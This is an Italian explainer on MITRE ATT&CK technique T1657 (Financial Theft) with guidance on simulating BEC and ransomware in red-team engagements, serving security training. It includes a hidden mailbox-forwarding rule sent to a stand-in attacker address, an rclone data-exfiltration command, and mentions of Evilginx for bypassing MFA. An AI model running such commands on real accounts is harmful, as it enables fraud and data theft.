Furto Finanziario: Financial Theft (T1657)
La tecnica T1657 - Financial Theft rappresenta l'obiettivo terminale di numerose operazioni criminali contemporanee e si colloca nella tattica TA0040 (Impact) del framework MITRE ATT&CK. Non descrive una singola azione tecnica ma un insieme di modalità con cui gli avversari sottraggono risorse monetarie alle vittime: estorsione tramite ransomware, business email compromise (BEC), truffe di tipo "pig butchering", frodi bancarie e sottrazione di criptovalute.
A differenza di tecniche puramente tecniche, il furto finanziario intreccia componenti tecnologiche e sociali. Un attaccante può compromettere un account di posta e impersonare un fornitore fidato per dirottare un bonifico, oppure combinare crittografia dei dati (T1486) ed esfiltrazione in schemi di doppia estorsione, minacciando la pubblicazione su dedicated leak site se il riscatto non viene pagato.
I dati MITRE censiscono 14 gruppi APT, 5 famiglie malware, 1 campagna e 2 mitigazioni associate a questa tecnica. Il panorama include operatori ransomware come Akira, INC Ransom, Play e Medusa Group, gruppi BEC come SilverTerrier, attori nation-state come Kimsuky che finanziano operazioni attraverso furto di criptovalute, e cluster emergenti come Contagious Interview che colpiscono wallet digitali. L'impatto economico globale del ransomware e del BEC si misura in miliardi di dollari annui, rendendo T1657 una priorità difensiva trasversale a ogni settore.
In un ingaggio red team, simulare T1657 richiede attenzione etica: l'obiettivo non è muovere fondi reali ma dimostrare la fattibilità della catena. Le simulazioni si strutturano su due filoni principali: BEC/impersonation e ransomware simulation con estorsione controllata.
Per la componente BEC, il red team parte da una ricognizione OSINT sui ruoli finance/treasury tramite fonti pubbliche come LinkedIn, poi valida la sintassi delle email con strumenti come hunter.io (freemium) o phonebook.cz (gratuito). Segue una fase di credential harvesting tramite phishing kit realistici come Evilginx (open source) o GoPhish (open source), che permettono di catturare token di sessione bypassando MFA. Una volta ottenuto l'accesso a Microsoft 365, l'operatore red team può testare la creazione di regole di inoltro nascoste:
New-InboxRule -Name "Fwd" -ForwardTo attacker@lab.local -DeleteMessage $true
e monitorare thread di fatturazione per proporre un finto cambio IBAN. Tutta l'attività va confinata a caselle esca preventivamente concordate.
Per la parte ransomware, evitare sempre malware reale in produzione. Framework come Atomic Red Team (open source) offrono test controllati per T1486 e tecniche correlate. Caldera di MITRE (open source) permette di orchestrare catene multi-stadio includendo esfiltrazione simulata verso endpoint controllati. Per emulare la fase di data staging prima dell'estorsione, si può usare rclone (open source) verso bucket S3 di test:
rclone copy /finance-share remote:exfil-test --transfers 4 --bwlimit 5M
La componente di doppia estorsione si simula generando un report che elenca file sensibili identificati (senza esfiltrarli realmente in ambienti sensibili) e presentando al cliente una "nota di riscatto" fittizia per valutare la reattività del piano di crisis management.
Per scenari legati a cryptocurrency theft, in ambiente di laboratorio isolato si possono studiare stealer come RedLine o DarkGate in sandbox come ANY.RUN (freemium) o Joe Sandbox (freemium/a pagamento), osservando come cercano estensioni di wallet nei browser (MetaMask, Phantom) e file wallet.dat. La lezione operativa per il red team è dimostrare che la catena funziona già dalla fase di ricognizione: se il target espone ruoli finance con dettagli su fornitori e cicli di pagamento, la superficie BEC è aperta indipendentemente dalle difese endpoint.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.